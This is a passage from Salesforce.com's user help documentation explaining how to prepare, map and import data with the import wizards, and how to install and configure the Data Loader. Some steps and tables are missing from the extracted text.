• Multi-Select Picklists—To import multiple values into a multi-select picklist, separate the values by a semicolon in your
import file.
You can import up to 100 values at a time in a multi-select picklist field. If you have more than 100 values in your import
file for any one record, the import wizard leaves the field blank in that record.
• Checkboxes—To import data into a checkbox field, use 1 for checked values and 0 for unchecked values.
• Default Values—For picklist, multi-select picklist, and checkbox fields, if you do not map the field in the import wizard,
the default value for the field, if any, is automatically inserted into the new or updated record.
• Date/Time Fields—Ensure that the format of any date/time fields you are importing matches how they display in
Salesforce.com per your locale setting. For information on setting your locale, see Editing Your Personal Information on
page 24.
627
Data Management Importing Multiple Currencies
• Formula Fields—Formula fields cannot accept imported data because they are read only.
• Field Validation Rules—Salesforce.com runs validation rules on records before they are imported. Records that fail
validation are not imported. Consider deactivating the appropriate validation rules before running an import if they affect
the records you are importing.
• Universally Required Fields—You must include universally required fields in your import files or the import will fail. For
more information, see About Universally Required Fields on page 925.
If your organization has set up the ability to use multiple currencies, you can import amounts in different currencies.
Organization Import
When importing accounts, contacts, custom objects, leads, or solutions for your organization, you can specify the currency
type for amount fields using the Currency ISO Code column in your import file. The following rules apply:
• Entering currency codes - Enter a currency code in the Currency ISO Code column in your import file. Currency
codes are three letter codes that follow an international standard. For example, USD is the currency code for U.S. dollars.
Click Setup ➤ Company Profile ➤ Manage Currencies to see a list of valid codes for your organization.
• Using one currency for accounts and contacts - If you are importing accounts and contacts, the Currency ISO Code
column applies to both an account and its associated contact. You cannot specify different currencies for associated accounts
and contacts.
• Updating the currency code - When updating the currency code but not the currency amount for existing accounts and
contacts, the existing amount is not converted to the corresponding number in the new currency.
• Entering inactive currencies - If your enter an inactive currency in your import file, your personal currency will be used
instead. However, amounts will not be modified. For example, if your file has AUD 100 for 100 Australian dollars but
AUD is an inactive currency for your organization, then it is imported as USD 100, assuming your personal currency is
U.S. dollars.
• Omitting the Currency ISO Code column - When creating new records via importing, if you do not use the Currency
ISO Code column or fail to map it, your personal currency is used. For example, if your file has 100 and your personal
currency is U.S. dollars (currency code = USD), this is imported as USD 100.
628
Data Management Creating Export Files for Import Wizards
When updating existing records via importing, if you do not use the Currency ISO Code column or fail to map it, any
amounts are interpreted as having the existing currency of the record. For example, if your file has 100 for a record that
has a currency of EUR (the currency code for euros), this amount is interpreted as EUR 100.
See Also:
Managing Multiple Currencies
To import data into Salesforce.com, you first need to export the data from your existing application. This creates an export
file of the information you want to import.
After creating the export file, compare your data with the Salesforce.com fields available for import, and verify that your data
will be mapped into the appropriate Salesforce.com fields. See Preparing Your Data for Import on page 634.
Your file can contain a mixture of some new records as well as updates for existing records. The option selected in the Matching
Type field determines whether it is a new or existing record. When importing leads, you can choose whether to match leads
in your import file with existing leads in Salesforce.com. Leads can be matched according to the following types: Salesforce.com
ID, name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads. For example, if you are matching
by email and a lead in your source file has the same email as a lead in Salesforce.com, then that lead will be updated in
Salesforce.com. If you are not matching by email and a lead in your source file has the same email as a lead in Salesforce.com,
then a new lead will be created.
Note:
If you are the administrator and are importing for multiple users, you must combine your export data into a single
CSV file using Excel.
When importing new records, add or modify a Record Owner field in your file such that the field contains the names
of existing, active users. Enter the users’ full usernames (for example, “jsmith@acme.com”) or first and last names (for
example, “Joe Smith”, or “Smith Joe” for Asian locales). This will specify the owner of the imported data for an
organization import. For lead imports, you can also specify the name of a lead queue. Record owner fields do not get
updated when records are updated via import. All records retain their existing owners; and the Record Owner field
in your import file is ignored for these records.
629
Data Management Creating Export Files for Import Wizards
When importing leads, you can alternatively use a lead assignment rule to specify the owners of the imported data,
instead of using a Record Owner field.
See Also:
Preparing Your Data for Import
See Also:
Default Field Mapping for ACT!
1. Launch Outlook.
2. Select File ➤ Import and Export....
3. Choose Export to a file and click Next.
4. Choose Comma Separated Values (Windows) and click Next.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
630
Data Management Creating Export Files for Import Wizards
5. Select the Contacts folder and click Next. You can select a different contacts folder if you have contacts stored in multiple
folders.
6. Choose a file name for the exported data and click Next.
7. Click Finish.
See Also:
Default Field Mapping for Outlook
631
Data Management Creating Export Files for Import Wizards
See Also:
Field Mapping for Other Data Sources and Organization Import
632
Data Management Creating Export Files for Import Wizards
9. After the export finishes, locate the exported file and change its file extension from .txt to .csv.
10. Open the file.
11. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).
See Also:
Field Mapping for Other Data Sources and Organization Import
1. Open the Address Book in the Palm Desktop. If you only want to export specific contacts, select those records.
2. Choose Export from the File menu.
3. In the “Export To File” dialog, enter a name for the file and choose a folder for it. In the Export as drop-down list, choose
“Comma Separated (*.csv;*.txt)”. Select the range of records to export - either All or Currently selected records.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
4. Click Export.
5. In the “Specify Export Fields” dialog box, select the Address Book fields you want to export, and click OK.
See Also:
Field Mapping for Other Data Sources and Organization Import
2. Ensure your file includes only one name per field. The system cannot accept more than one name per field.
3. Ensure your file separates names and titles into two fields. The system cannot accept fields containing both names and
titles.
4. Ensure your file includes only one phone number per field.
See Also:
Field Mapping for Other Data Sources and Organization Import
633
Data Management Preparing Your Data for Import
You can export account, contact, custom object, lead, or solution reports from Salesforce.com to create an import file for the
import wizards. You must include the Account ID, Contact ID, Custom Object ID, Lead ID, or Solution ID value
for each respective record in your report. These ID fields are unique Salesforce.com identifiers and are used to accurately match
your data with existing Salesforce.com records.
To create an import file with these ID fields, you first need to export the data from Salesforce.com.
1. Run an account, contact, custom object, lead, or solution report in Salesforce.com, include the respective ID field, and
export it to Excel.
2. If you are exporting both leads and contacts to be targeted in a campaign:
a. In Excel, combine the exported reports into one CSV (comma-separated values) file. Make sure all of the ID field
values are in the same column.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
Note: Remember that Salesforce.com record IDs are case-sensitive and should never be changed manually in your
import file.
See Also:
Importing Campaign Members
Managing Campaigns
After exporting your data from Salesforce.com or your existing application (see Creating Export Files for Import Wizards on
page 629), prepare your data before importing it.
Preparing Contacts
When importing from ACT! or Outlook, the Import My Contacts wizard automatically maps fields from ACT! and
Outlook to Salesforce.com. See Default Field Mapping for ACT! on page 637 and Default Field Mapping for Outlook
on page 639.
634
Data Management Preparing Your Data for Import
When importing from other data sources, you must use Excel® to label the columns in your import file as specified in
Field Mapping for Other Data Sources and Organization Import on page 641.
Preparing Solutions
When importing solutions, use the field labels in Salesforce.com as the column labels in your import file. For information
on field labels, see Solution Fields on page 2336.
You can enter HTML into the solutions you plan to import into Salesforce.com.However, unless your organization has
enabled HTML solutions, HTML tags will display in the solutions after they are imported. For more information, see
What are HTML Solutions? on page 2319.
For security purposes, Salesforce.com automatically filters all HTML solutions for potentially malicious HTML. If
potentially malicious HTML is detected in an HTML solution, then the potentially malicious HTML is either
automatically removed or transformed into text for users who view the HTML solution. Note that users will not be able
to notice when potentially malicious HTML is removed from an HTML solution.
You can import solutions written in HTML format into Salesforce.com. However, for security purposes, only the HTML
tags listed below are allowed. The content of any HTML tags not listed below is automatically removed when saved in
HTML solutions. Furthermore, the content of all <script> and <iframe> tags, as well as all JavaScript, is automatically
removed when saved in HTML solutions. Additionally, Cascading Style Sheets (CSS) are not supported in HTML
solutions.
The following HTML tags are allowed in HTML solutions imported into Salesforce.com:
635
Data Management Preparing Your Data for Import
<dl>
Within the above tags, you can include the following attributes:
The above attributes which can include a URL are limited to URLs that begin with the following:
• http:
• https:
• file:
• ftp:
• mailto:
• / for relative links
636
Data Management Preparing Your Data for Import
Note: If your data has information in fields that do not match any of the standard fields, your administrator can create
custom fields for that data prior to import.
You must include universally required fields in your import files or the import will fail. For more information, see
About Universally Required Fields on page 925.
See Also:
Creating Export Files for Import Wizards
Accessing the Import Wizards
This table details how ACT! fields map to Salesforce.com account and contact import fields during an individual data import.
Note: If an ACT! record contains more than one contact for the same company, the import wizard creates multiple
contacts for one account.
637
Data Management Preparing Your Data for Import
638
Data Management Preparing Your Data for Import
See Also:
Exporting from ACT!
This table details how Outlook fields map toSalesforce.com account and contact import fields during an individual data import.
639
Data Management Preparing Your Data for Import
640
Data Management Preparing Your Data for Import
See Also:
Exporting from Outlook
If you are importing accounts and contacts for an organization, or importing individual data from sources other than Outlook
or ACT!, the Import Wizards map the fields as correctly as possible. You must fine-tune the mapping before completing the
import. Before importing your data, Salesforce.com recommends that you use Excel to label the columns in your import file
with the labels listed below. Field length limits for each object are listed in the Salesforce.com Field Reference Guide.
641
Data Management Preparing Your Data for Import
Note: The default mappings listed below are offered as a guide for importing; they do not ensure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizards. Remember that you can map the same
field multiple times if necessary—for example, for the account and contact address fields.
Contact Fields
Label for Your Import File Salesforce.com Field
Assistant Contact: Assistant
Asst. Phone Contact: Asst. Phone
Asst. Phone Ext. Appended to Contact: Asst. Phone
Birthdate Contact: Birthdate
Business Fax Contact: Fax
Business Fax Ext. Appended to Contact: Fax
Business Phone Contact: Phone
Business Phone Ext. Appended to Contact: Phone
Contact Description Contact: Description
Contact Full Name or Contact: First Name and
First Name & Last Name Contact: Last Name
(Note: When importing contact names, use either Contact
Full Name or First Name and Last Name, but not both.)
642
Data Management Preparing Your Data for Import
Contact Fields
Label for Your Import File Salesforce.com Field
Department Contact: Department
E-mail Address Contact: Email
(Note: The import wizard verifies this is a valid email address
in the form: jsmith@acme.com.)
643
Data Management Preparing Your Data for Import
Contact Fields
Label for Your Import File Salesforce.com Field
(Note: If the import wizard cannot find a contact that matches
the name in this field, it will create a new contact using this
value as the Contact: First Name & Last Name.)
Account Fields
Label for Your Import File Salesforce.com Field
Account Description Account: Description
Account Division Account: Account Division
(Note: You do not need to specify this field if you choose to
assign the division via the drop-down list on Step 1 of the
import wizard. If you do not map this field or use the division
drop-down list, the division is set to the record owner’s default
division for each record.)
644
Data Management Preparing Your Data for Import
Account Fields
Label for Your Import File Salesforce.com Field
Account Note Creates a note attached to the account
Account Number Account: Account Number
Account Phone Account: Phone
Account Phone Ext. Appended to Account: Phone
Account Site Account: Account Site
Account Type Account: Type
Billing City Account: Billing City
Billing Country Account: Billing Country
Billing Postal Code Account: Billing Zip/Postal Code
Billing State Account: Billing State/Province
Billing Street 1 Account: Billing Address
Billing Street 2 Account: Billing Address
Billing Street 3 Account: Billing Address
Employees Account: Employees
Industry Account: Industry
Ownership Account: Ownership
Parent Account Account: Parent Account
(Note: If the import wizard cannot find an account that
matches the parent account name, it will create a new account
using this value as the Account Name.)
645
Data Management Preparing Your Data for Import
Account Fields
Label for Your Import File Salesforce.com Field
Shipping Street 3 Account: Shipping Address
SIC Code Account: SIC Code
Ticker Symbol Account: Ticker Symbol
Website Account: Website
Note: If you include record types in your import file, the Import Wizard uses the record owner’s default record type
when creating new records. For existing records, the Import Wizard does not update the record type field. For more
information, see Managing Record Types on page 1004.
When you import leads, the Import My Organization’s Leads wizard and the campaign Import Leads wizard map the fields
in your import file as correctly as possible, but you must fine-tune the mapping before completing the import. Prior to importing
your leads, it is recommended that you use Excel to label the columns in your lead import file with the labels listed in the table
below.
Note: The default mappings listed below are offered as a guide for importing; they do not insure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizard.
City City
Company Company
Country Country
Lead Currency
Currency ISO Code
(Note: You can use this field only for organizations that use
multiple currencies see Importing Multiple Currencies on
page 628.)
Description Description
Email
Email
646
Data Management Preparing Your Data for Import
(Use “1” to indicate that the user opts out; use “0” to indicate
that the user wants emails.)
Fax Fax
Industry Industry
Lead Division
Lead Division
Lead ID
Lead ID
Lead Source
Lead Source
Phone Phone
Rating Rating
Lead Owner
Record Owner
647
Data Management Accessing the Import Wizards
Status Status
(For campaign Import Leads wizard only) (in the Campaign History related list of a lead)
Street 1 Address
Street 2 Address
Street 3 Address
Title Title
Website Website
Note:
If you include record types in this list, the Import Wizard uses the record owner’s default record type when creating
new records. For existing records, the Import Wizard does not update the record type field.
If you choose to use assignment rules, the Import Wizard uses the new owner’s default record type when creating new
records. When the assignment rules assign the record to a queue, the queue owner’s default record type is used.
See Also:
Import My Organization’s Leads
648
Data Management Accessing the Import Wizards
See Also:
Importing Overview
Importing Articles
FAQ: Importing
Import My Contacts
Available in: All Editions
With the Import My Contacts wizard, any user can import up to 500 personal contacts and associated business accounts.
Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 629) and
correctly prepared your data (see Preparing Your Data for Import on page 634).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.
a. Specify the source application of your data - ACT!, Outlook, or other data source (any CSV file).
b. Click Next to continue.
649
Data Management Accessing the Import Wizards
a. On four different mapping pages, the wizard associates the Salesforce.com field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 634.
b. Note that there is no Record Owner field; you are automatically assigned as the owner of any data you import. On
the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing business account fields with your import data. Note that you cannot use this checkbox to update existing field
data with blank values.
c. You can import data only into the fields that are editable for you in your page layout or field-level security settings.
(See Managing Page Layouts on page 1012 and Setting Field-Level Security on page 540. Field-level security is available
in Enterprise, Unlimited, and Developer Editions only.)
d. When all fields are assigned correctly, click Next.
See Also:
Accessing the Import Wizards
650
Data Management Accessing the Import Wizards
With the Import My Person Accounts wizard, you can import person accounts that you own. To understand how person
account records are matched to prevent duplicates, see What Is Imported for Person Accounts? on page 621.
Note: Your administrator may have renamed “person account” to another term. If so, the import wizard will refer to
the new name.
Follow these steps to import your person accounts. Click each link for more details.
651
Data Management Accessing the Import Wizards
2. Choose what you want to happen if matches are found - only import new records, only update existing records, or update
existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.
3. Click Next.
Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
652
Data Management Accessing the Import Wizards
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 700.
See Also:
Accessing the Import Wizards
With the Import My Organization’s Accounts and Contacts wizard, administrators, and users with the “Modify All Data”
permission, can import up to 50,000 business accounts and contacts at a time for multiple users. Before beginning, make sure
you have created an export file (see Creating Export Files for Import Wizards on page 629) and correctly prepared your data
(see Preparing Your Data for Import on page 634).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.
a. Follow the instructions to create an import file, or see Creating Export Files for Import Wizards on page 629.
b. Click Next to continue.
653
Data Management Accessing the Import Wizards
e. If you use divisions, select a division to assign to all imported records. Alternatively, select “None” to use the record
owner’s default division on each record, or specify the division in your import file.
f. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria.
g. Click Next to continue.
a. On four different mapping pages, the wizard associates the Salesforce.com field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 634.
b. Remember to map the Record Owner field with your Record Owner field so that record ownership is assigned
correctly. When importing records by Salesforce.com record ID, the Record Owner field in your import file is ignored.
All records retain their existing owners; record owners cannot be updated using the import wizard.
c. On the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing account fields with your import data. Note that you cannot use this checkbox to update existing field data with
blank values.
d. When all fields are assigned correctly, click Next.
a. The wizard reports the fields that do not map. In Professional, Enterprise, Unlimited, and Developer Edition
organizations, you can choose whether the unmapped fields should be imported into an account or contact Note or
should not be imported at all. The fields are imported into a single account Note or a single contact Note; separate
note fields are not created for each import field.
b. When all fields are assigned correctly, click Next.
a. If there are warnings on this page, stop the import process and correct your import file.
b. Select Import Now! to send your import request. Your data is imported within the next 24 hours, and we notify you
via email when the import is complete. Once the system begins processing, you cannot cancel the import (see Undoing
an Import on page 665).
a. You can use the Import Queue to check the progress of your import. Click Setup ➤ Monitoring ➤ Imports.
Alternatively, click the Import Queue link on the Import Wizard for My Organization page. For imports that have
not begun processing, you can click Del to cancel the import.
Note: If your organization uses territory management, your imported accounts are always evaluated by account
assignment rules. See Territory Management Overview on page 1826.
See Also:
Accessing the Import Wizards
654
Data Management Accessing the Import Wizards
With the Import My Organization's Person Accounts wizard, you can import person accounts that are owned by different
users. To understand how person account records are matched to prevent duplicates, see What Is Imported for Person Accounts?
on page 621.
Note: If the label for person accounts has been renamed for your organization, the renamed label will appear in the
import wizard itself and in the Tools area of the accounts home page, but not in the Data Management area under
Setup. (Renamed labels do not appear in any pages under App Setup or Administration Setup.)
Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.
655
Data Management Accessing the Import Wizards
• Choose the field that you are using to match existing records in Salesforce.com with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
• Choose what you want to happen if matches are found—only import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.
3. Click Next.
3. Click Next.
Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
656
Data Management Accessing the Import Wizards
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
See Also:
Accessing the Import Wizards
With the Import My Organization’s Leads wizard, administrators, users with the Marketing User profile, or users with the
“Import Leads” permission and “Read,” “Create,” and “Edit” permissions on leads can import up to 50,000 leads at a time for
multiple users. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on
page 629) and correctly prepared your data (see Field Mapping for Importing Leads on page 646).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.
657
Data Management Accessing the Import Wizards
658
Data Management Accessing the Import Wizards
You can use the Import Queue link to check the progress of your import. Click Setup ➤ Monitoring ➤ Imports.
Alternatively, click the Import Queue link on the Import Wizard for My Organization’s Leads page. For imports that
have not begun processing, you can click Del to cancel the import.
See Also:
Accessing the Import Wizards
With the Import My Organization's Custom Objects wizard, you can import custom objects.
Follow these steps to import custom objects. Click each link for more details.
Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.
659
Data Management Accessing the Import Wizards
3. Click Next.
2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce.com before proceeding. Related records will not be
updated during your import even if your import file contains different values for fields on those related records.
3. Click Next.
660
Data Management Accessing the Import Wizards
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.
Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
See Also:
Accessing the Import Wizards
What Is Imported for Custom Objects?
FAQ: Importing
661
Data Management Accessing the Import Wizards
With the Import My Organization's Solutions wizard, you can import solutions.
Follow these steps to import solutions. Click each link for more details.
Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.
662
Data Management Accessing the Import Wizards
3. Click Next.
3. Click Next.
663
Data Management Accessing the Import Wizards
Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
See Also:
Accessing the Import Wizards
664
Data Management Undoing an Import
Undoing an Import
Available in: All Editions
If you import accounts, contacts, leads, or solutions by mistake, your administrator can click Setup ➤ Data Management ➤
Mass Delete Records to delete the items you mistakenly imported. View the Using Mass Delete to Undo Imports document
for instructions.
The Mass Delete Records tools do not support custom objects. If you import custom objects by mistake in Enterprise,
Unlimited, or Developer Edition, your administrator can use the Data Loader to mass delete the mistakenly imported records.
See Performing Mass Deletes on page 678.
DATA LOADER
The Data Loader is a client application for the bulk import or export of data. Use it to insert, update, delete, or export
Salesforce.com records.
When importing data, the Data Loader reads, extracts, and loads data from comma separated values (CSV) files or from a
database connection. When exporting data, it outputs CSV files.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
You can use Data Loader interactively through its user interface, or set up automated batch processes launched from the
command line. When you use the user interface, you work interactively to specify the configuration parameters, CSV files
used for import and export, and the field mappings that map the field names in your import file with the field names in
Salesforce.com. When you set up batch processes through the command line, you specify the configuration, data sources,
mappings, and actions in files used for automated processing.
The Data Loader offers the following key features:
665
Data Management When to Use the Data Loader
Note: In previous versions, the Data Loader has been known as the “AppExchange Data Loader“ and the “Sforce
Data Loader.”
The Data Loader complements the web-based import wizards that are accessible from the Setup menu in the online application.
Refer to the following guidelines to determine which method of importing best suits your business needs:
666
Data Management Installing the Data Loader
System Requirements
To use the Data Loader, you need:
• Windows 7 or Windows XP.
You can run the Data Loader wizards or run the application from the command line.
• 90 MB free disk space.
• 256 MB available memory.
• Java JRE 1.5 or later (Windows XP or Windows 7).
• Sun JVM 1.5 or later (Windows XP or Windows 7).
Note: If you are currently using Windows 2000, we encourage you to use Data Loader on Windows 7 instead.
Installation Procedure
Caution: Over time, multiple versions of the Data Loader client application have been available for download. Different
versions have different entries in the Add or Remove Programs dialog in your Windows Control Panel. Some versions
were released with earlier product names such as “AppExchange Data Loader” or “Sforce Data Loader.” You can run
different versions at the same time on one computer. However, do not install multiple copies of the same version.
The latest version is always available from Salesforce.com at Setup ➤ Data Management ➤ Data Loader. If you
have previously installed the latest version and want to install it again, first remove it from your computer by using the
Add or Remove Programs dialog in the Windows Control Panel.
667
Data Management Configuring the Data Loader
6. Accept the default installation directory, or click Change... to choose another directory. Click Next.
7. Click Install.
8. Click Finish.
9. To start the Data Loader, double-click the Data Loader icon on your desktop, or choose Start ➤ All Programs ➤
salesforce.com ➤ Data Loader ➤ Data Loader.
Tip:
If you experience login issues in the command line interface after upgrading to a new version of the Data Loader,
please try re-encrypting your password to solve the problem. For information on the password encryption utility, see
Encrypting From the Command Line on page 682.
Use the Settings menu to change the default operation settings of the Data Loader.
1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Choose Settings ➤ Settings.
3. Edit the fields as desired:
Field Description
Batch Size In a single insert, update, upsert, or delete operation, records
moving to or from Salesforce.com are processed in
increments of this size. The maximum value is 200. We
recommend a value between 50 and 100.
The maximum value is 10,000 if the Use Bulk API option
is selected.
Insert Null Values Enable this option to insert blank mapped values as null
values during data operations. Note that when you are
updating records, this option instructs the Data Loader to
overwrite any existing data in mapped fields.
This option is not available if the Use Bulk API option
is selected. Empty field values are ignored when you update
records using the Bulk API. To set a field value to null
when the Use Bulk API option is selected, use a field value
of #N/A.
668
Data Management Configuring the Data Loader
Field Description
Assignment Rule Specify the ID of the assignment rule to use for inserts,
updates, and upserts. This option applies to inserts, updates,
and upserts on cases and leads. It also applies to updates on
accounts if your organization has territory assignment rules
on accounts. The assignment rule overrides Owner values
in your CSV file.
Server Host Enter the URL of the Salesforce.com server with which you
want to communicate. For example, if you are loading into
a sandbox, change the URL to
https://test.salesforce.com.
Reset URL on Login By default, Salesforce.com resets the URL after login to the
one specified in Server Host. To turn off this automatic
reset, disable this option.
Compression Compression enhances the performance of the Data Loader
and is turned on by default. You may want to disable
compression if you need to debug the underlying SOAP
messages. To turn off compression, enable this option.
Timeout Specify for how many seconds the Data Loader waits to
receive a response back from the server.
Query Request Size In a single export or query operation, records are returned
from Salesforce.com in increments of this size. The
maximum value is 2,000. Larger values may improve
performance, but use more memory on the client.
Generate success files for exports Select this option to generate a success file when exporting
data.
Read all CSVs with UTF-8 encoding This option forces files to open in UTF-8 encoding, even if
they were saved in a different format.
Write all CSVs with UTF-8 encoding This option forces files to be written in UTF-8 encoding.
Use European Date Format Select this option to support the date formats dd/MM/yyyy
and dd/MM/yyyy HH:mm:ss.
Allow field truncation Select this option to direct the Data Loader to truncate data
in the following types of fields when loading that data into
Salesforce.com: Email, Multi-select Picklist, Phone, Picklist,
Text, and Text (Encrypted).
In Data Loader versions 14.0 and earlier, values for fields of
those types are truncated by the Data Loader if they are too
large. In Data Loader version 15.0 and later, the load
operation fails if a value is specified that is too large.
Selecting this option allows you to specify that the previous
behavior, truncation, be used instead of the new behavior in
669
Data Management Configuring the Data Loader
Field Description
Data Loader versions 15.0 and later. This option is selected
by default and has no effect in versions 14.0 and earlier.
This option is not available if the Use Bulk API option
is selected. In that case, the load operation fails for the row
if a value is specified that is too large for the field.
Use Bulk API Select this option to use the Bulk API to insert, update,
upsert, delete, and hard delete records. The Bulk API is
optimized to load or delete a large number of records
asynchronously. It is faster than the default SOAP-based
API due to parallel processing and fewer network
round-trips..
Caution: When you select the Hard Delete
operation, the deleted records are not stored in the
Recycle Bin. Instead, they become immediately
eligible for deletion. The administrative permission
for this operation, Bulk API Hard Delete, is disabled
by default and must be enabled by an administrator.
A Salesforce user license is required for hard delete.
Enable serial mode for Bulk API Select this option to use serial instead of parallel processing
for the Bulk API. Processing in parallel can cause database
contention. When this is severe, the load may fail. Using
serial mode guarantees that batches are processed one at a
time. Note that using this option may significantly increase
the processing time for a load.
This option is only available if the Use Bulk API option
is selected.
670
Data Management Configuring the Data Loader
Enabling the Bulk API in Data Loader allows you to load or delete a large number of records faster than using the default
SOAP-based API. However, there are some differences in behavior in Data Loader when you enable the Bulk API. One
important difference is that it allows you execute a hard delete if you have the administrative permission and license. For more
information, see Configuring the Data Loader on page 668
The following settings are not available on the Settings ➤ Settings page in Data Loader when the Use Bulk API option
is selected:
Insert Null Values
This option enables Data Loader to insert blank mapped values as null values during data operations when the Bulk
API is disabled. Empty field values are ignored when you update records using the Bulk API. To set a field value to
null when the Use Bulk API option is selected, use a field value of #N/A.
You can't use Data Loader and the Bulk API to upload attachments. To upload attachments, you must disable Use Bulk
API on the Settings ➤ Settings page in Data Loader.
The Bulk API is optimized to load or delete a large number of records asynchronously. It is faster than the SOAP-based API
due to parallel processing and fewer network round-trips. By default, Data Loader uses the SOAP-based API to process
records.
To configure Data Loader to use the Bulk API for inserting, updating, upserting, deleting, and hard deleting records:
1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Choose Settings ➤ Settings.
3. Select the Use Bulk API option.
4. Click OK.
Note: You can also select the Enable serial mode for Bulk API option. Processing in parallel can cause
database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed
one at a time. Note that using this option may significantly increase the processing time for a load.
Caution: When you select the Hard Delete operation, the deleted records are not stored in the Recycle Bin. Instead,
they become immediately eligible for deletion. The administrative permission for this operation, Bulk API Hard
671
Data Management Uninstalling the Data Loader
Delete, is disabled by default and must be enabled by an administrator. A Salesforce user license is required for hard
delete.
Boolean
Date Formats
672
Data Management Data Types Supported by the Data Loader
• yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
• yyyy-MM-dd'T'HH:mm:ss.SSS Pacific Standard Time
• yyyy-MM-dd'T'HH:mm:ss.SSSPacific Standard Time
• yyyy-MM-dd'T'HH:mm:ss.SSS PST
• yyyy-MM-dd'T'HH:mm:ss.SSSPST
• yyyy-MM-dd'T'HH:mm:ss.SSS GMT-08:00
• yyyy-MM-dd'T'HH:mm:ss.SSSGMT-08:00
• yyyy-MM-dd'T'HH:mm:ss.SSS -800
• yyyy-MM-dd'T'HH:mm:ss.SSS-800
• yyyy-MM-dd'T'HH:mm:ss
• yyyy-MM-dd HH:mm:ss
• yyyyMMdd'T'HH:mm:ss
• yyyy-MM-dd
• MM/dd/yyyy HH:mm:ss
• MM/dd/yyyy
• To enable date formats that begin with the day rather than the month, select the Use European date format
box in the Settings dialog. European date formats aredd/MM/yyyy and dd/MM/yyyy HH:mm:ss.
• If your computer's locale is east of Greenwich Mean Time (GMT), we recommend that you change your computer
setting to GMT in order to avoid date adjustments when inserting or updating records. A knowledge base solution
for this issue is available in the Salesforce.com Help & Training window; search for “data loader date.”
• Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after
midnight on January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on
December 31, 4000.
Note: These values are offset by your timezone. For example, in the Pacific timezone, the earliest valid date
is 1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.
Double
Standard double string
ID
A Salesforce.com ID is a case-sensitive 15-character or case–insensitive 18-character alphanumeric string that uniquely
identifies a particular record.
Tip: To ensure data quality, make sure that all Salesforce.com IDs you enter in the Data Loader are in the
correct case.
673
Data Management Exporting Data
